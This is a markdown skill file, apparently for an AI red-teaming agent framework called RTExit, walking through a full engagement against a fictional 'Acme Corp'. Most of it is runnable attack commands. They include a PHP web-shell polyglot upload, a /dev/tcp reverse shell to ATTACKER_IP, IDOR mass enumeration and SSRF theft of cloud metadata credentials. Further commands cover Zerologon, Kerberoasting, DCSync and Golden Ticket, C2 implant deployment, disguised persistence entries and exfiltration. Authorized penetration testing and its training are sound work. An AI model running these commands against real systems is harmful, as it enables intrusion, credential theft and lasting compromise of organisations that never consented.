---
name: end-to-end-engagement-example
description: "COMPLETE WALKTHROUGH — A real engagement from scope to report. Follow this exactly to see how RTExit methodology + scenarios + Docker Kali all fit together."
---

# End-to-End Engagement Example — Real-World Walkthrough

> **This is the canonical example of an RTExit engagement.** Read this first, then adapt to your real engagement. Every step references a specific skill, scenario, and Docker Kali tool.

---

## Engagement Setup

**Client:** `Acme Corp` (fictional but realistic)
**Scope:** `*.acmecorp.com` + their AWS account
**Methodology:** PTES + OWASP Web + OWASP API + internal AD
**Docker Kali:** Pre-configured, all tools installed
**Engagement duration:** 2 weeks
**Engagement type:** Authorized red team — full scope

**Pre-engagement:**
1. SEAD signed (`rt-create-sead`)
2. Scope defined (`rt-scope-definition`)
3. Threat model built (`rt-threat-model`)
4. Methodology selected: PTES via `rt-methodology-selector`
5. RTExit config set up (`config.user.toml`)

---

## Day 1: Recon & Initial Foothold

### Hour 1-2: Subdomain Enumeration & OSINT

**Goal:** Map the entire attack surface of acmecorp.com

```bash
# Enter Docker Kali container
docker exec -it rtexit-kali bash

# 1. Subdomain enumeration (rt-subdomain-enum)
subfinder -d acmecorp.com -all -o /opt/loot/subdomains.txt
amass enum -passive -d acmecorp.com -o /opt/loot/amass.txt
cat /opt/loot/subdomains.txt /opt/loot/amass.txt | sort -u > /opt/loot/all_subs.txt
# Result: 47 subdomains

# 2. Live host probing
cat /opt/loot/all_subs.txt | httpx -status-code -title -tech-detect -o /opt/loot/live.txt
# Result: 31 live hosts, identify tech (AWS CloudFront, nginx, Java/Spring, etc.)

# 3. Identify interesting targets
cat /opt/loot/live.txt | grep -iE "(api|admin|staging|dev|test|internal|beta)"
# → api.acmecorp.com, admin.acmecorp.com, staging.acmecorp.com, etc.

# 4. OSINT (rt-osint)
theHarvester -d acmecorp.com -b all -f /opt/loot/theharvester.html
h8mail -t /opt/loot/emails.txt
# → Found 12 employee emails, leaked credentials on one

# 5. GitHub recon (rt-github-recon)
trufflehog github --org=acmecorp --only-verified
# → Found AWS access key in old commit
#   AKIA12345EXAMPLE  (already rotated but pattern)

# 6. JS analysis (rt-js-analysis)
# Crawl all JS files from live hosts
cat /opt/loot/live.txt | awk '{print $1}' | gau | grep -E "\.js$" > /opt/loot/js_urls.txt
# Extract secrets and endpoints
for js in $(cat /opt/loot/js_urls.txt); do
  echo "=== $js ===" >> /opt/loot/js_analysis.txt
  curl -s "$js" >> /opt/loot/js_analysis.txt
  linkfinder -i "$js" -o /opt/loot/links.txt
  secretfinder -i "$js" -o /opt/loot/secrets.txt
done
# → Found internal API endpoint, GraphQL endpoint, S3 bucket name
```

**Output of recon:**
- 47 subdomains, 31 live hosts
- `api.acmecorp.com` — Java/Spring REST API
- `admin.acmecorp.com` — PHP admin panel
- `staging.acmecorp.com` — Has new features, often less hardened
- `assets.acmecorp.com` — S3-backed (from JS analysis)
- Leaked credentials for `john@acmecorp.com` (from h8mail)

### Hour 3-4: Initial Foothold via Staging Subdomain

**Goal:** Get a shell or ATO

**Skill:** `02-web/rt-exploit-file-upload/SKILL.md` + `02-web/rt-business-logic/scenarios.md`

```bash
# 1. Test staging.acmecorp.com for file upload
# - Register account on staging (often allows self-registration)
# - Find file upload feature (avatar, document, etc.)
# - Test if .php allowed

# Use scenario S01 from rt-exploit-file-upload
curl -I https://staging.acmecorp.com/upload

# 2. Test polyglot upload
# Use scenario S05-S10 (polyglot JPEG/PHP)
echo '<?php system($_GET["c"]); ?>' > /tmp/test.jpg.php
# Add JPEG header to make it pass mime check
printf '\xFF\xD8\xFF\xE0<?php system($_GET["c"]); ?>' > /tmp/polyglot.jpg.php

curl -X POST https://staging.acmecorp.com/api/upload \
  -H "Authorization: Bearer ${TOKEN}" \
  -F "file=@/tmp/polyglot.jpg.php"

# → Got 200 OK, returned URL: https://staging.acmecorp.com/uploads/polyglot.jpg.php
# → Tested .jpg.php?c=id → RCE!

# 3. Get reverse shell
curl "https://staging.acmecorp.com/uploads/polyglot.jpg.php?c=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'"

# In another terminal (Kali):
nc -lvnp 4444
# → Got shell as www-data on staging server
```

**FOOTHOLD ACHIEVED!**

**Document immediately** (rt-finding-document):
- Title: Unrestricted File Upload leading to RCE on staging.acmecorp.com
- CVSS: 9.8 CRITICAL
- Steps: see above
- Evidence: screenshot of reverse shell
- Add to finding tracker

### Hour 5-6: Pivot from Staging to Production

**Goal:** Move from staging to production network

**Skills:** `rt-post-exploitation`, `rt-credential-access`, `rt-lateral-movement`

```bash
# 1. Post-exploitation on staging (rt-post-exploitation/SKILL.md)
# Enumerate staging server
whoami; id; uname -a
ip a  # → 10.0.1.0/24
cat /etc/hosts  # → internal hostnames

# 2. Look for credentials (rt-credential-access)
ls -la /var/www/html/
cat /var/www/html/.env
cat /var/www/html/config.php
# → Found: DB_PASS=AcmeProd2024!, AWS keys, JWT secret

# 3. Test credentials against production
ssh admin@api.acmecorp.com
# Try common passwords from .env
# Or: see if SSH key is in staging
cat ~/.ssh/id_rsa  # No key

# 4. Use AWS keys (rt-exploit-cloud-aws/scenarios.md)
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=...
aws sts get-caller-identity
# → Got: arn:aws:iam::123456789:user/staging-deploy

# 5. Try to use AWS keys to access S3
aws s3 ls
# → Listed: acmecorp-prod-backups, acmecorp-assets, acmecorp-logs

# 6. Try to dump production data
aws s3 sync s3://acmecorp-prod-backups /opt/loot/s3 --no-sign-request
# If public access → DATA EXFIL
# If private → try with stolen keys

# 7. EC2 metadata if we have SSRF
# Test SSRF on api.acmecorp.com
curl "https://api.acmecorp.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# → Got production IAM role!
```

**Day 1 ends with:**
- 1 CRITICAL RCE on staging
- 1 HIGH credential leak
- 1 MEDIUM S3 misconfiguration
- Access to production AWS account
- 47 subdomains mapped

---

## Day 2-3: Web Application Deep Dive

### Goal: Test OWASP Top 10 on api.acmecorp.com

**Skills:** All `02-web/` skills + `03-api/`

```bash
# 1. API reconnaissance (rt-exploit-api/scenarios.md)
# Check OpenAPI/Swagger
curl -s https://api.acmecorp.com/v1/swagger.json
curl -s https://api.acmecorp.com/v1/openapi.json
curl -s https://api.acmecorp.com/api-docs

# 2. Test BOLA (API1:2023) — scenarios S01-S15
# Get two accounts: victim + attacker
ATTACKER_TOKEN=$(curl -X POST https://api.acmecorp.com/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"attacker@test.com","password":"Test123!"}' | jq -r .token)

VICTIM_TOKEN=$(curl -X POST https://api.acmecorp.com/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"john@acmecorp.com","password":"LeakedPass123"}' | jq -r .token)

# Test IDOR
# As victim, get user's own data → get ID
VICTIM_ID=$(curl -s https://api.acmecorp.com/v1/users/me -H "Authorization: Bearer $VICTIM_TOKEN" | jq -r .id)

# As attacker, try to read victim's data
curl -s "https://api.acmecorp.com/v1/users/${VICTIM_ID}" -H "Authorization: Bearer $ATTACKER_TOKEN"
# → If returns victim's data → BOLA found!

# 3. Mass enumerate IDs
for id in {1..1000}; do
  result=$(curl -s "https://api.acmecorp.com/v1/users/${id}" -H "Authorization: Bearer $ATTACKER_TOKEN")
  if [ "$result" != '{"error":"not found"}' ]; then
    echo "ID $id: $result" >> /opt/loot/bola_dump.txt
  fi
done
# → 247 users dumped, including admin, finance, etc.

# 4. Test BFLA (API5:2023) — scenarios S16-S30
# As attacker (low priv), try admin endpoints
curl -X DELETE "https://api.acmecorp.com/v1/users/${VICTIM_ID}" -H "Authorization: Bearer $ATTACKER_TOKEN"
# → If 200/204 → BFLA found!

# Other admin endpoints to try:
# /v1/admin/users
# /v1/admin/orders
# /v1/admin/reports
# /v1/internal/*
# /v2/admin (try old version per API9)

# 5. Test mass assignment (BOPLA) — scenarios S31-S40
# Try to escalate role
curl -X PATCH "https://api.acmecorp.com/v1/users/me" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","isVerified":true,"balance":999999}'
# → If accepted → mass assignment found!

# 6. Test rate limit bypass (API4:2023) — scenarios S41-S45
# Mass enumerate via different IPs
for i in {1..100}; do
  XID=$((RANDOM % 1000))
  curl -s "https://api.acmecorp.com/v1/users/$XID" \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H "X-Forwarded-For: 192.168.$((RANDOM%255)).$((RANDOM%255))" \
    >> /opt/loot/bola_ratelimit.txt &
done
wait
# → If 100 calls succeed in 1 min → rate limit bypass

# 7. Test GraphQL (rt-exploit-graphql/scenarios.md)
# If /graphql exists
curl -X POST https://api.acmecorp.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name}}}"}'
# → If returns full schema → introspection enabled
# Try field suggestions
curl -X POST https://api.acmecorp.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{ user(invalidfield:1) { id } }"}'
# → Error message reveals field names

# 8. Test business logic (rt-business-logic/scenarios.md)
# Sign up, get free trial, repeat with same credit card
# Try negative quantity
# Bypass payment
# All 70 scenarios in scenarios.md

# 9. Test race conditions (rt-race-conditions/scenarios.md)
# Withdraw money, multiple times simultaneously
# Use Turbo Intruder in Burp
# All 70 scenarios

# 10. Test CORS/CSRF (rt-cors-csrf/scenarios.md)
curl -H "Origin: https://evil.com" -I https://api.acmecorp.com/v1/users/me
# → Check Access-Control-Allow-Origin
# All 40 scenarios

# 11. Test JWT (rt-exploit-jwt/scenarios.md)
# alg=none
# weak secret
# jwk injection
# 11 scenarios

# 12. Test deserialization (rt-deserialization/scenarios.md)
# If Java (Spring detected), test ysoserial payloads
# 6 CVEs in scenarios.md

# 13. Test OAuth (rt-oauth-oidc/scenarios.md)
# redirect_uri bypass
# state parameter
# 6 CVEs
```

**Day 2-3 ends with:** 10+ findings across all OWASP categories.

---

## Day 4-5: Active Directory

### Goal: Domain takeover

**Skills:** `06-active-directory/` + `05-cloud/`

```bash
# Assume we got VPN access via stolen credentials
# Or via internal foothold

# 1. Recon (rt-active-recon)
# Network scan
sudo nmap -sn 10.0.0.0/16 -oG /opt/loot/nmap_live.txt
# Port scan DCs
for dc in $(cat /opt/loot/dcs.txt); do
  nmap -p 88,135,139,389,445,636,3268,3269 -sV $dc
done

# 2. Quick wins first
# Zerologon (CVE-2020-1472) — 5 min
python3 cve-2020-1472-exploit.py dc01.acme.local dc01.acme.local
# → If works, full DA in seconds

# 3. If Zerologon fails, AS-REP Roasting (no creds needed)
# rt-exploit-active-directory/scenarios.md S06-S08
impacket-GetNPUsers acme.local/ -dc-ip dc01.acme.local \
  -usersfile /opt/loot/users.txt \
  -format hashcat -outputfile /opt/loot/asrep.txt
hashcat -m 18200 /opt/loot/asrep.txt /opt/wordlists/rockyou.txt
# → If cracked, get user creds

# 4. With creds → Kerberoasting (S01-S05)
impacket-GetUserSPNs acme.local/user:password -dc-ip dc01.acme.local \
  -request -outputfile /opt/loot/kerberoast.txt
hashcat -m 13100 /opt/loot/kerberoast.txt /opt/wordlists/rockyou.txt
# → Get service account creds

# 5. If service account has DA → DCSync
impacket-secretsdump acme.local/svc-sql:password@dc01.acme.local
# → All hashes dumped

# 6. Golden Ticket for persistence
impacket-ticketer -nthash <krbtgt_hash> -domain-sid S-1-5-21-... \
  -domain acme.local administrator
export KRB5CCNAME=administrator.ccache
impacket-psexec acme.local/administrator@dc01.acme.local -k -no-pass
# → Persistent DA access

# 7. ADCS ESC1-13 (rt-adcs-esc9-13)
certipy find -u user@acme.local -p password -dc-ip dc01.acme.local
# → Find vulnerable templates
certipy req -u user@acme.local -p password -ca ca-acme -template VulnerableTemplate
# → Get cert as DA

# 8. PetitPotam + NTLM Relay (rt-coercion-attacks)
# Coerce DC to auth, relay to ADCS
# Full chain: domain takeover

# 9. Persistence
# Golden Ticket + Skeleton Key + DCSync rights
# All 50 scenarios in rt-exploit-active-directory/scenarios.md
```

---

## Day 6-7: Cloud (AWS)

### Goal: Full AWS account takeover

**Skill:** `05-cloud/rt-exploit-cloud-aws/scenarios.md`

```bash
# 1. Verify access
aws sts get-caller-identity
# → Confirmed user/role

# 2. Enumerate permissions (ScoutSuite)
python3 ScoutSuite.py aws --access-key-id AKIA... --secret-key ...
# → Lists all accessible services

# 3. Look for privilege escalation (S16-S20 in scenarios.md)
# Run pacu
pacu
> import_keys --key-id AKIA... --secret-key ...
> run iam__privesc_scan
# → Finds escalation paths

# 4. Common escalations:
# - PassRole + Lambda → RCE
# - iam:CreateAccessKey on other user
# - sts:AssumeRole on privileged role
# - lambda:UpdateFunctionCode on existing function

# 5. S3 enumeration (S01-S07 in scenarios.md)
for bucket in acmecorp-backup acmecorp-data acmecorp-prod acmecorp-logs; do
  aws s3 ls s3://$bucket --no-sign-request
done
# → Found public bucket with customer data

# 6. EC2 SSRF (Capital One pattern)
# If you found SSRF in any app:
curl "https://api.acmecorp.com/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role"
# → Got prod IAM creds

# 7. Lambda function takeover
aws lambda list-functions
# For each, check if you can update code:
aws lambda update-function-code --function-name prod-api --zip-file fileb://shell.zip
# → Inject code into Lambda

# 8. IMDSv1 vs v2 check
aws ec2 describe-instances --query "Reservations[].Instances[].[InstanceId,MetadataOptions]"
# → Most likely v1 (vulnerable)
```

---

## Day 8-10: Persistence, C2, Defense Evasion

### Goal: Maintain access, demonstrate advanced tradecraft

**Skills:** `packaged-assets/.agents/skills/rt-c2-operations/`, `rt-defense-evasion/`, `rt-persistence/`

```bash
# 1. Deploy C2 (Sliver or Havoc)
sliver
> generate --http staging.acmecorp.com
# Get implant

# 2. Deploy implant on compromised hosts
./implant --http staging.acmecorp.com
# In Sliver:
> use <session-id>
> info
# → Got host

# 3. Sleep masking (rt-beacon-sleep-masking)
# Use Ekko or Foliage
# Encrypts memory during sleep

# 4. Defense evasion
# ETW bypass (rt-etw-bypass)
# AMSI bypass
# PPID spoofing (rt-ppid-spoofing)
# Syscall direct (rt-syscall-bypass)

# 5. Persistence
# Scheduled tasks
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\implant.exe" /sc onstart
# Services
sc create "WinDefend" binPath="C:\Users\Public\implant.exe"
# Registry Run keys
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v OneDrive /t REG_SZ /d "C:\Users\Public\implant.exe"

# 6. Lateral movement (rt-lateral-movement)
# With admin hash from AD
impacket-psexec acme.local/administrator@web01.acme.local -hashes :<nt_hash>
# WMI
impacket-wmiexec acme.local/administrator@web02.acme.local -hashes :<nt_hash>
# WinRM
evil-winrm -i web03.acme.local -u administrator -H <nt_hash>

# 7. Data exfiltration (rt-data-exfiltration)
# Find sensitive files
# Use DNS tunneling for stealth
# Use cloud storage (S3 to attacker bucket)
```

---

## Day 11-14: Reporting

### Goal: Deliver professional reports

**Skills:** `14-reporting/`

```bash
# 1. Compile findings (rt-finding-document)
# Use templates from /templates/finding-template.md
# Each finding needs:
# - Title
# - CVSS 4.0 vector (use rt-cvss-calculator)
# - CWE
# - CVE (if applicable)
# - MITRE ATT&CK (use rt-mitre-map)
# - Asset
# - Description
# - Technical evidence (screenshots, requests)
# - Business impact
# - Reproduction steps
# - Remediation (immediate/short/long)

# 2. Build attack chain (rt-attack-chain-builder)
# Map findings to kill chain
# Show how A led to B led to C

# 3. Generate technical report (rt-technical-report)
# Use template from /templates/technical-report.md
# Includes: methodology, all findings, chains, MITRE coverage, appendices

# 4. Generate executive report (rt-executive-report)
# Use template from /templates/executive-report.md
# Non-technical, business-focused
# Sections: cover, summary, risk rating, business impact, attack narrative, roadmap

# 5. Remediation roadmap (rt-remediation-roadmap)
# Use template from /templates/remediation-roadmap.md
# Prioritized: Critical (0-24h), High (1-7d), Medium (1-30d), Low (1-90d)
# With team assignment and verification steps

# 6. Compliance mapping (rt-compliance-mapper)
# Map findings to PCI-DSS, ISO 27001, NIST CSF
# Estimate financial exposure

# 7. Risk matrix (rt-risk-matrix)
# Plot all findings on 5x5 matrix
# Show risk distribution

# 8. Final QA
# Spell check
# Verify all CVEs
# Verify all claims
# Get peer review
```

---

## Day 14: Final Deliverables

**Provided to client:**
1. Executive Report (PDF) — for CEO/CISO/Board
2. Technical Report (PDF) — for security team
3. Remediation Roadmap (PDF/Excel) — for IT
4. Findings JSON/CSV — for ticketing
5. Attack Chain Diagram (Mermaid/PNG) — for visualization
6. Live walkthrough session (2 hours)
7. 30-day follow-up support

---

## Summary Table — Skills Used Per Day

| Day | Phase | Skills Used | Docker Kali Tools |
|---|---|---|---|
| 1 | Recon + Initial Access | rt-subdomain-enum, rt-osint, rt-github-recon, rt-js-analysis, rt-exploit-file-upload, rt-post-exploitation | subfinder, amass, httpx, theHarvester, trufflehog, linkfinder, nc, curl |
| 2-3 | Web/API Deep Dive | rt-exploit-api, rt-exploit-idor, rt-exploit-xss, rt-business-logic, rt-race-conditions, rt-cors-csrf, rt-exploit-jwt, rt-deserialization, rt-oauth-oidc, rt-exploit-graphql | Burp, sqlmap, jwt_tool, ysoserial, dalfox, Turbo Intruder, curl |
| 4-5 | AD | rt-active-recon, rt-zerologon, rt-exploit-active-directory, rt-adcs-esc9-13, rt-coercion-attacks, rt-kerberos-relay | nmap, impacket, mimikatz, rubeus, certipy, bloodhound, crackmapexec, secretsdump |
| 6-7 | Cloud | rt-exploit-cloud-aws, rt-exploit-containers, rt-iac-misconfig | aws-cli, pacu, ScoutSuite, kube-hunter, checkov |
| 8-10 | C2, Persistence, Evasion | rt-c2-operations, rt-defense-evasion, rt-persistence, rt-lateral-movement, rt-post-exploitation, rt-data-exfiltration, rt-beacon-sleep-masking, rt-etw-bypass, rt-syscall-bypass, rt-ppid-spoofing, rt-process-injection-advanced | sliver, havoc, mimikatz, impacket, dnscat2 |
| 11-14 | Reporting | rt-finding-document, rt-finding-tracker, rt-attack-chain-builder, rt-technical-report, rt-executive-report, rt-remediation-roadmap, rt-compliance-mapper, rt-risk-matrix, rt-mitre-map, rt-cvss-calculator | md-to-pdf, mermaid-cli |

---

## Key Principle

**The methodology is consistent. Only the scenarios change based on the target.**

For every engagement:
1. **Read the master dispatcher** (`SCENARIOS-MASTER.md`)
2. **Pick the right skill** for the target
3. **Read that skill's `scenarios.md`**
4. **Run scenarios in priority order** (top = highest probability of success)
5. **Chain to maximum impact** (each scenario's Chain section)
6. **Document immediately** (don't lose findings)
7. **Run in Docker Kali** (tools pre-installed)

**This is the RTExit way.**
